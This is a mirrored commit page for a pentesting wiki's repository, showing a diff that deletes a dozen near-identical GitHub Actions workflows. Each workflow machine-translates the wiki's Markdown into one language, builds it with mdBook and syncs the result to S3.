gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-06 04:41:21 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-services/az-containe

Browse Source
This commit is contained in:
Translator
2025-08-21 00:24:45 +00:00
parent f64cd7d8fa
commit 7596d9e5d6
21 changed files with 531 additions and 1973 deletions
Download Patch File Download Diff File Expand all files Collapse all files

119
.github/workflows/translate_af.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to AF (Afrikaans)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: af
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Afrikaans
BRANCH: af
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_de.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to DE (German)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: de
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: German
BRANCH: de
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_el.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to EL (Greek)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: el
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Greek
BRANCH: el
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_es.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to ES (Spanish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: es
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Spanish
BRANCH: es
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_fr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to FR (French)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: fr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: French
BRANCH: fr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_it.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to IT (Italian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: it
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Italian
BRANCH: it
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_ja.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to JA (Japanese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ja
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Japanese
BRANCH: ja
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_ko.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to KO (Korean)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ko
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Korean
BRANCH: ko
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_pl.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to PL (Polish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pl
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Polish
BRANCH: pl
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_pt.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to PT (Portuguese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pt
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Portuguese
BRANCH: pt
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_sr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to SR (Serbian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Serbian
BRANCH: sr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_sw.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to SW (Swahili)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sw
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Swahili
BRANCH: sw
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
